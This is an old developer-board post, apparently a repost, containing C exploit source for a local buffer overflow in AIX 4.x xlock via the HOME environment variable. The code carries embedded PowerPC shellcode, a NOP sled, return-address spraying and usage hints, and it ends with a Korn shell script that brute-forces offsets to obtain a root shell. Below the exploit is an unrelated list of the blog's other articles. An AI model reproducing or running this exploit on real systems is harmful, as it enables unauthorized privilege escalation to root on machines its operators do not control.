Develop
2003.04.23 09:43

[c] home env stack overflow

Views 11515 Votes 0 Comment 0
?

Shortcut

PrevPrev Article

NextNext Article

Larger Font Smaller Font Up Down Go comment Print
?

Shortcut

PrevPrev Article

NextNext Article

Larger Font Smaller Font Up Down Go comment Print
/*
*
*   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V    
*   CREDITS: this code is simply a modified version of an exploit
*   posted by Georgi Guninski (guninski@hotmail.com)
*
*   This will give a #rootshell# by overwriting a buffer
*   via the $HOME environment variable in 'xlock'
*   This exploit is designed for AIX 4.x on PPC platform.    
*
*
*   USAGE: 
*       $ cc -o foo -g aix_xlock.c
*       $ ./foo 3200
*            #
*
*   HINT: Try giving ranges from 3100 through 3400
*   (If these ranges don't work, then run the brute
*    korn shell script provided after the exploit)
*
*   DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600

unsigned int code[]={
  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
  char *c;
  int l;

  l=strlen(name)+strlen(value)+4;
  if (! (c=malloc(l)))
    {
      perror("error allocating");
      exit(2);
    };
  strcpy(c,name);
  strcat(c,"=");
  strcat(c,value);
  putenv(c);
  return c;
}

main(int argc,char **argv,char **env)
{
  unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  int min=200, max=300;
  unsigned int return_address;
  char *newenv[8];
  char *args[4];
  int offset=3200;

  if (argc==2) offset = atoi(argv[1]);

  pt=(unsigned *) &execv;
  toc=*(pt+1);
  eco=*pt;

  *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

  return_address=(unsigned)&buf[0]+offset;

  for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  strcpy((char*)&buf[nop],(char*)&code);
  i=nop+strlen( (char*) &code)/4-1;

  for(i=0;i<max-1;i++) frame[i]=return_address;
  frame[i]=0;

  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  newenv[5]=createvar("HOME",(char*)&frame[0]);

  args[0]="xlock";
  execve("/usr/bin/X11/xlock",args,newenv);
  perror("Error executing execve n");

}
/*
----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------
*/
/*                    http://www.hack.co.za ;             [2000]*/
?

List of Articles
No. Category Subject Author Date Views
825 Develop [ios] Start developing your navigation app for CarPlay without enrollment file hooni 2020.02.22 124767
824 Develop [php] 3 Ways to Detect Mobile or Desktop in PHP file hooni 2020.01.28 3722
823 Develop 자주 쓰는 Docker 명령어 alias hooni 2020.01.10 269505
822 Develop [python][django] request.cookie 읽어오기 ㅋㅋㅋ (쓰기) hooni 2019.12.06 1688
821 Develop [python] 파라미터 앞에 *, ** 의 의미? (*args, **kwargs) hooni 2019.11.22 1553
820 Develop 링크들 보고 지울 내용 secret hooni 2019.11.21 0
819 Develop [Javascript][Ajax] 자바스크립트 강의 산출물 file hooni 2019.10.05 702
818 Develop [ios] Locale Identifiers file hooni 2018.11.29 1625
817 Develop [ios] Swift 4 Dictionary 사용하기 file hooni 2018.11.29 2027
816 Develop [ios] Swift 4 Singleton inheritance hooni 2018.10.31 1592
815 Develop [ios] APNS, Remote Push 사용자가 수신을 동의했는지 확인하기 hooni 2018.10.19 1252
814 Develop [ios] APNS, Remote Push 수신 시점에서 앱의 3가지 실행 상태 hooni 2018.10.19 967
813 Develop [ios] Swift 4 String, Date, DateFormatter 예제 hooni 2018.10.18 1397
812 Develop [ios] Requesting Location Permissions in iOS file hooni 2018.08.18 1601
811 Develop [PHP] MacOS에서 PHP 7 설치하기 file hooni 2018.05.11 4881
810 Develop [php] Connect to Firebase Console in Laravel file hooni 2018.05.09 3112
Board Pagination Prev 1 2 3 4 5 ... 53 Next
/ 53